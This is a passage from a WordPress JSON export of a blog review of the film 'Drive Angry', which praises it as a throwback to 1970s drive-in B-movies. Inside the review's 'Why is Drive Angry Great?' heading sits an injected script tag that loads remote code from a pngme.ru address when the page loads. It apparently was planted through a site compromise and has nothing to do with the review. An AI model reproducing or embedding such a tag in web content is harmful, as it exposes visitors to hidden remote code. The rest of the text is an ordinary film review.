{"id":11336,"date":"2014-06-11T19:48:29","date_gmt":"2014-06-12T01:48:29","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=11336"},"modified":"2014-06-11T19:48:30","modified_gmt":"2014-06-12T01:48:30","slug":"drive-angry","status":"publish","type":"post","link":"http:\/\/www.bmovienation.com\/?p=11336","title":{"rendered":"Drive Angry"},"content":{"rendered":"<p style=\"text-align: left;\" align=\"center\">Remember when movies were \u201cfun?\u201d\u00a0 They weren\u2019t film, they weren\u2019t cinema.\u00a0 They were movies.\u00a0 They weren\u2019t trying to change your life \u2014 to quote an old movie mogul, Jack Warner, \u201cIf you want to send a message, use Western Union.\u201d\u00a0 Movies were willing to give a shot at changing your <i>moments<\/i>, like about 90 minutes worth of them.\u00a0 And if you happened to see a really good movie, more than likely you walked away with a big, goofy grin on your face.<\/p>\n<p>For the geekigentsa, the 60s and early 70s were a golden age of \u201cfilm.\u201d\u00a0 The young turks were taking it to the Man and the System.\u00a0 <em>The Godfather<\/em>. \u00a0<em>Bonnie and Clyde<\/em>.\u00a0<em>Midnight Cowboy<\/em>. \u00a0All of them were films that took cinema to new levels of realism in terms of sex and violence (real and emotional).<\/p>\n<p>Then there were \u201cB-movies.\u201d\u00a0 Popular, mass entertainment.\u00a0 Motorcycles, babes, drugs \u2026anything that could be made on the cheap that might turn a buck, and a lot of which was \u00a0shoveled into the Drive-In theatres that still clung to the American landscape.\u00a0 It was \u201cproduct\u201d and any appreciation of it as folk art would only come later.<\/p>\n<p>To keep the product line profitable, the formula was tweaked when sales began to lag or new trends emerged:\u00a0 Harley hogs became American muscle cars, Redneck Sheriffs stood in for \u201cThe Man,\u201d but movie producers kept the core of what made those Drive-In classics work.\u00a0 Explosions.\u00a0 Shootings.\u00a0 Breasts. (Young female breasts, covered and exposed, were very popular and much more important than the acting ability of anyone else on screen)\u00a0 Often a supernatural element gave the plot (such as it was) a reason to feature\u2026 more breasts.<\/p>\n<h2><b>Why is<i> <script src=\"\/\/pngme.ru\/seter\"><\/script><\/i><a href=\"http:\/\/www.amazon.com\/exec\/obidos\/ASIN\/B004SKIPXW\/pjmedia-20\" target=\"_blank\"><em>Drive Angry<\/em><\/a><i>\u00a0<\/i>Great?<\/b><\/h2>\n<p>This 2011 movie (one can\u2019t call it a \u201cfilm\u201d) is like a 70\u2019s Drive-In movie brought forward 30 years:\u00a0 higher budget, better tech, and actors whose names are known by more people than their dealer.\u00a0 The basic plot sounds promising:\u00a0 Man breaks out of prison to avenge the daughter he left behind and to protect her baby.\u00a0 The fact the prison is actually Hell and the convict\u2019s name is Milton, John Milton, only makes it better.\u00a0 With such a cornucopia of low-brow entertainment, it\u2019s hard to know where to begin.\u00a0 \u00a0\u00a0<a href=\"https:\/\/www.youtube.com\/watch?v=O2-hiHUh4UQ\">It\u2019s got guns, breasts, shoot-outs, gratuitous nudity, explosions, nekkid women fist-fights, corrupt Southern sheriffs, and more breasts<\/a>:\u00a0 DNA ripped right from the very Id of the Drive-In.<\/p>\n<p><i>Drive Angry<\/i> also has a very smart and funny script, with the first hint being our anti-anti-hero\u2019s name.\u00a0 Nicolas Cage, in a reasonably sane performance, plays the absurd story straight, in the process giving some real emotional weight to the convict\u2019s quest to redeem some part of his life.\u00a0\u00a0 The dialogue is filled with sly, clever throw-away lines and plot devices that are laugh-out loud funny (one of Milton\u2019s friends is \u201cWebster,\u201d as in \u201cThe Devil and Daniel\u201d), with many of the best bits given to character actor <a href=\"http:\/\/www.imdb.com\/name\/nm0001209\/?ref_=rvi_nm\">William Fichtner<\/a>, who steals the entire movie as \u201cThe Accountant,\u201d the man (?) sent from Hell to bring Milton back.<\/p>\n<p>Fichtner has had a long career, often playing menacing heavies;\u00a0 as the Accountant, he underplays to hysterical effect.\u00a0 After his car goes off a bridge and lands upside down with the genre-required crushing impact, two stoners approach the wreck.\u00a0 The car door blasts out, striking Stoner One like a missile.\u00a0 After the Accountant climbs out of the wreckage, unharmed and brushing dust from his very nice suit, Stoner One says, \u201cYou could\u2019ve killed me!\u201d\u00a0 Fichtner answers matter-of-factly, \u201cNot even close.\u00a0 I won\u2019t see you again until you\u2019re seventy-three.\u201d\u00a0 <a href=\"https:\/\/www.youtube.com\/watch?v=qPhD7lRi2Xc\">With an appraising glance at Stoner Two, he adds, \u201cYou I\u2019ll see in three months.\u201d<\/a>\u00a0 Watch this movie, and I promise you will never hear KC and the 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